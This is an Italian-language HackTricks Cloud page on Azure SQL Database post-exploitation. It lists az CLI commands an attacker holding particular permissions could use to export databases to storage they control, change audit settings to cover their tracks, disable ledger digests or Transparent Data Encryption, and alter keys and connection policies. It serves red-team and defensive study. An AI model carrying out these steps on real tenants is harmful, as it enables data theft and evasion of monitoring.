Az - SQL Database Post Exploitation
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
SQL Database Post Exploitation
Per ulteriori informazioni su SQL Database controlla:
Microsoft.Sql/servers/databases/read
, Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/databases/write
Con questi permessi, un attaccante può creare e aggiornare database all'interno dell'ambiente compromesso. Questa attività di post-exploitation potrebbe consentire a un attaccante di aggiungere dati malevoli, modificare le configurazioni del database o inserire backdoor per una maggiore persistenza, potenzialmente interrompendo le operazioni o abilitando ulteriori azioni malevole.
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
Con queste autorizzazioni (Microsoft.Sql/servers/read
&& Microsoft.Sql/servers/databases/write
) puoi ripristinare un database eliminato:
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"
Microsoft.Sql/servers/elasticPools/write
&& Microsoft.Sql/servers/elasticPools/read
Con questi permessi, un attaccante può creare e aggiornare elasticPools all'interno dell'ambiente compromesso. Questa attività di post-exploitation potrebbe consentire a un attaccante di aggiungere dati malevoli, modificare le configurazioni del database o inserire backdoor per una maggiore persistenza, potenzialmente interrompendo le operazioni o abilitando ulteriori azioni malevole.
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
Microsoft.Sql/servers/auditingSettings/read
&& Microsoft.Sql/servers/auditingSettings/write
Con questo permesso, puoi modificare o abilitare le impostazioni di auditing su un Azure SQL Server. Questo potrebbe consentire a un attaccante o a un utente autorizzato di manipolare le configurazioni di auditing, potenzialmente coprendo le tracce o reindirizzando i log di auditing a una posizione sotto il loro controllo. Questo può ostacolare il monitoraggio della sicurezza o consentire di tenere traccia delle azioni. NOTA: Per abilitare l'auditing per un Azure SQL Server utilizzando Blob Storage, devi allegare un'account di archiviazione dove i log di auditing possono essere salvati.
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read
, Microsoft.Sql/servers/connectionPolicies/read
&& Microsoft.Sql/servers/connectionPolicies/write
Con questo permesso, puoi modificare le politiche di connessione di un Azure SQL Server. Questa capacità può essere sfruttata per abilitare o modificare le impostazioni di connessione a livello di server.
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
Microsoft.Sql/servers/databases/export/action
Con questo permesso, puoi esportare un database da un Azure SQL Server a un account di archiviazione. Un attaccante o un utente autorizzato con questo permesso può esfiltrare dati sensibili dal database esportandoli in una posizione che controllano, ponendo un rischio significativo di violazione dei dati. È importante conoscere la chiave di archiviazione per poter eseguire questa operazione.
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
Microsoft.Sql/servers/databases/import/action
Con questo permesso, puoi importare un database in un Azure SQL Server. Un attaccante o un utente autorizzato con questo permesso può potenzialmente caricare database dannosi o manipolati. Questo può portare a ottenere il controllo su dati sensibili o a incorporare script o trigger dannosi all'interno del database importato. Inoltre, puoi importarlo nel tuo server in Azure. Nota: Il server deve consentire ai servizi e alle risorse di Azure di accedere al server.
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
Microsoft.Sql/servers/connectionPolicies/write
&& Microsoft.Sql/servers/connectionPolicies/read
Con queste autorizzazioni, un utente può modificare e recuperare le politiche di connessione di un server Azure SQL. Queste autorizzazioni consentono a qualcuno di cambiare il modo in cui i client si connettono al server, scegliendo tra metodi come redirect o proxy, il che potrebbe essere sfruttato per indebolire la sicurezza, reindirizzare il traffico o intercettare dati sensibili se configurato in modo errato.
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
Microsoft.Sql/servers/keys/write
&& Microsoft.Sql/servers/keys/read
Con queste autorizzazioni, un utente può aggiornare e recuperare le chiavi di crittografia associate a un Azure SQL Server. Queste chiavi sono spesso utilizzate per proteggere i dati sensibili tramite crittografia, quindi manipolarle potrebbe compromettere la sicurezza dei dati consentendo la decrittazione non autorizzata o modifiche alla rotazione delle chiavi.
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action
, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read
, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read
Questa autorizzazione consente di disabilitare il Ledger Digest per un Azure SQL Database, il che interrompe il caricamento periodico dei registri di digest crittografici su Azure Blob Storage che verifica l'integrità dei dati.
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
Microsoft.Sql/servers/databases/transparentDataEncryption/write
, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read
, Microsoft.Sql/servers/databases/transparentDataEncryption/read
Questo permesso consente a un utente autorizzato o a un attaccante di abilitare, disabilitare o modificare le impostazioni di Transparent Data Encryption (TDE) su un database Azure SQL, potenzialmente influenzando la sicurezza dei dati alterando le configurazioni di crittografia.
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.